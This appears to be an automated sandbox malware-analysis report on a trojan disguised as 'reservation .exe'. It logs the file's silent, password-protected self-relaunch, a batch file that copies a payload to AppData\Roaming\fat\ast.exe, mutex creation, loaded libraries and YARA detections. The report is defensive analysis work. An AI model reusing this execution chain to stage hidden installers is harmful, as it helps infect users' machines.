Source: reservation .tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: reservation .tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: reservation .exe, 00000000.00000003.2037832146.000000007FE26000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs reservation .exe
Source: reservation .exe, 00000000.00000000.2035698643.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs reservation .exe
Source: reservation .exe, 00000000.00000003.2037382869.000000000272A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs reservation .exe
Source: reservation .exe, 00000003.00000003.2459283655.0000000002278000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs reservation .exe
Source: reservation .exe	Binary or memory string: OriginalFileName vs reservation .exe

Source: reservation .exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal84.troj.evad.winEXE@16/63@1/2

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkslN63FF292C-2B60-4C63-A250-16B59EF35251
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\3 @
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\02CC837A-11F4-4C58-AE40-A04E18FF470D7c
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\U SVW3 E E E
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkwrN63FF292C-2B60-4C63-A250-16B59EF35251

Source: C:\Users\user\Desktop\reservation .exe

File created: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp

Jump to behavior

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat""

Source: C:\Users\user\Desktop\reservation .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\reservation .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873804671.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: reservation .exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\reservation .exe

File read: C:\Users\user\Desktop\reservation .exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\reservation .exe "C:\Users\user\Desktop\reservation .exe"
Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp "C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp" /SL5="$10464,7120736,816128,C:\Users\user\Desktop\reservation .exe"
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process created: C:\Users\user\Desktop\reservation .exe "C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu
Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp "C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp" /SL5="$2046A,7120736,816128,C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\qilq\*" "C:\Users\user\AppData\Roaming\fat\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\fat\ast.exe "C:\Users\user\AppData\Roaming\fat\ast.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fat\ast.exe "C:\Users\user\AppData\Roaming\fat\ast.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fat\ast.exe "C:\Users\user\AppData\Roaming\fat\ast.exe"
Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp "C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp" /SL5="$10464,7120736,816128,C:\Users\user\Desktop\reservation .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process created: C:\Users\user\Desktop\reservation .exe "C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp "C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp" /SL5="$2046A,7120736,816128,C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\qilq\*" "C:\Users\user\AppData\Roaming\fat\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\fat\ast.exe "C:\Users\user\AppData\Roaming\fat\ast.exe"	Jump to behavior

Source: C:\Users\user\Desktop\reservation .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: quartz.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: compstui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: inetres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: astcrp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Section loaded: wbemcomn.dll	Jump to behavior
